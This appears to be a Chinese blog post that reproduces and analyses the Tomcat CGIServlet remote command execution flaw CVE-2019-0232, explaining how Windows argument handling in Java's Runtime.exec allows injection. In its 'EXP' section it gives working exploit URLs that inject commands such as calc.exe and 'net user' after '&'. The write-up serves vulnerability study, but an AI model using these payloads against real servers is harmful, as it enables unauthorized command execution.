Tomcat CGI RCE(CVE-2019-0232)

漏洞条件

  • Apache Tomcat 9.0.0.M1 to 9.0.17
  • Apache Tomcat 8.5.0 to 8.5.39
  • Apache Tomcat 7.0.0 to 7.0.93
  • Windows系统
  • 开启CGIServlet
  • CGI目录下存在bat文件

漏洞原理

本人认为该漏洞的核心在于JDK中runtime.getRuntime.exec()的底层调用,Linux跟Windows的底层实现不一样,Windows会把后面所有的参数当成命令执行,以及 & 符号直接做拼接。

Windows

Windows会执行&符号后面的命令

package org.example;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Main {
    public static void main(String[] args) throws IOException {
        String[] command = {"E:\\Coding\\Java\\RuntimeTest\\test.bat","&dir"};
        Process p = Runtime.getRuntime().exec(command);
        InputStream fis = p.getInputStream();

        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);

        String line = null;
        while ((line=br.readLine())!=null){
            System.out.println(line);
        }

    }
}

Linux

而Linux则直接当成参数当成参数而不是简单的拼接,可以看到ifconfig并没有被执行。

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Main {
    public static void main(String[] args) throws IOException {
        String[] command = {"/Users/john/Documents/code/java/RuntimeTest/test.sh","&ls"};
        Process p = Runtime.getRuntime().exec(command);
        InputStream fis = p.getInputStream();

        InputStreamReader isr = new InputStreamReader(fis);
        BufferedReader br = new BufferedReader(isr);

        String line = null;
        while ((line=br.readLine())!=null){
            System.out.println(line);
        }

    }
}

分析

导致这种输出的原因是在JDK的实现中 Runtime.getRuntime().exec 实际调用了 ProcessBuilder ,而后 ProcessBuilder 调用 ProcessImpl使用系统调用 vfork ,把所有参数直接传递至 execve

strace -F -e vfork,execve java Main 跟踪可以看到上面的Java代码在Linux中调用为

execve("test.sh", ["test.sh", "&", "ls"], [/* 23 vars */])

而如果跟踪类似的PHP代码 system('a.sh arg & dir'); ,得到的结果为

execve("/bin/sh",  ["sh", "-c", "a.sh arg & dir"], [/* 23 vars */])

所以Java的 Runtime.getRuntime().exec 在CGI调用这种情况下很难有命令注入。而Windows中创建进程使用的是 CreateProcess ,会将参数合并成字符串,作为 lpComandLine 传入 CreateProcess 。程序启动后调用 GetCommandLine 获取参数,并调用 CommandLineToArgvW 传至 argv。在Windows中,当 CreateProcess 中的参数为 bat 文件或是 cmd 文件时,会调用 cmd.exe , 故最后会变成 cmd.exe /c "test.bat & dir",而Java的调用过程并没有做任何的转义,所以在Windows下会存在漏洞。

通俗来讲,正常的Linux的tomcat请求中若携带的请求**a.sh?&dir,则exec执行的时候dir只会被当成字符串参数。但是在Windows中的的a.bat?&dir下会被当成a.bat&dir**进行命令执行。

漏洞调试

首先进行CGI相关的配置,在 conf/web.xml 中找到CGIServlet,把默认的注释去掉,然后再加添配置:

<servlet>
    <servlet-name>cgi</servlet-name>
    <servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class>
    <init-param>
      <param-name>cgiPathPrefix</param-name>
      <param-value>WEB-INF/cgi-bin</param-value>
    </init-param>
    <init-param>
        <param-name>enableCmdLineArguments</param-name>
        <param-value>true</param-value>
    </init-param>
    <init-param>
        <param-name>executable</param-name>
        <param-value></param-value>
    </init-param>
    <load-on-startup>5</load-on-startup>
</servlet>

这里主要的设置是 enableCmdLineArgumentsexecutable 两个选项。 enableCmdLineArguments 启用后才会将Url中的参数传递到命令行, executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。

同样在 conf/web.xml 中启用cgi的servlet-mapping

<servlet-mapping>
    <servlet-name>cgi</servlet-name>
    <url-pattern>/cgi-bin/*</url-pattern>
</servlet-mapping>

之后修改 conf/context.xml 的 <Context> 添加 privileged=”true”属性,否则会没有权限

然后在 ROOT\WEB-INF 下创建 cgi-bin 目录, 并在该目录下创建一个 bat 文件,内容随意。

上面的配置当我们访问/cgi-bin/*的时候则数据流指向org.apache.catalina.servlets.CGIServlet,因此我们先到tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中进行调试:

由于我们的PoC是GET请求的,因此先定位到doGet() 方法中:

其中这里实例化CGIRunner对象传入的cgiEnv.getCommand()cgiEnv.getParameters()的值分别为传入脚本的绝对路径和后面带的参数:

然后我们跟进cgi.run()中:

先检测路径是否合规,接着往下:

这个弄了个数组用来装命令和参数,然后下面就是送到Runtime.exec() 中执行了:

剩下的部分就是原理中的内容了。

漏洞利用

EXP:

需要输入执行程序的绝对路径并且URL编码一下

http://127.0.0.1:8080/cgi-bin/xx.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

如果后面的命令想输入参数的话用 + 分割命令和参数即可

http://127.0.0.1:8080/cgi-bin/e.bat?&C%3a%5cWindows%5cSystem32%5cnet+user

因为在将请求req封装为CGIEnvironment对象的时候会进行一次规范化,有对参数进行URL解码以及根据+ 进行分割参数的操作:

疑问

最后还有个小疑问,就是前面配置的时候提到在 conf/web.xml 中CGIServlet需要配置executable的值为空,否则就不会执行我们的命令

通过上面的调试我们可以发现,如果这里的值不为空,那么就会在执行的数组第一位添加上这个值,比如默认的情况下是这样的:

这样一来确实无法执行我们的命令,但是在我们默认的cmd中情况似乎又不一样,这里以python3为例,是能够输出两个命令结果的:

java中却只能输出第一个命令的结果:

这就又涉及到JDK执行命令的实现了,这里我们尝往Runtime.exec()下面跟,这里调用了ProcessBuilder.start()

接着往ProcessBuilder.start()跟:

最后ProcessBuilder调用了ProcessImpl.start()执行命令,跟进,ProcessImpl.start()内部实例化ProcessImpl类:

跟进去,最终调用了一个create()方法:

这是个原生方法,看不到内部的实现:

这个疑惑到这里没有解开,求大哥解答

参考资料

CVE-2019-0232:Apache Tomcat RCE漏洞分析

Tomcat CVE-2019-0232 Rce 漏洞复现&分析

CVE-2019-0232:Apache Tomcat RCE复现

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇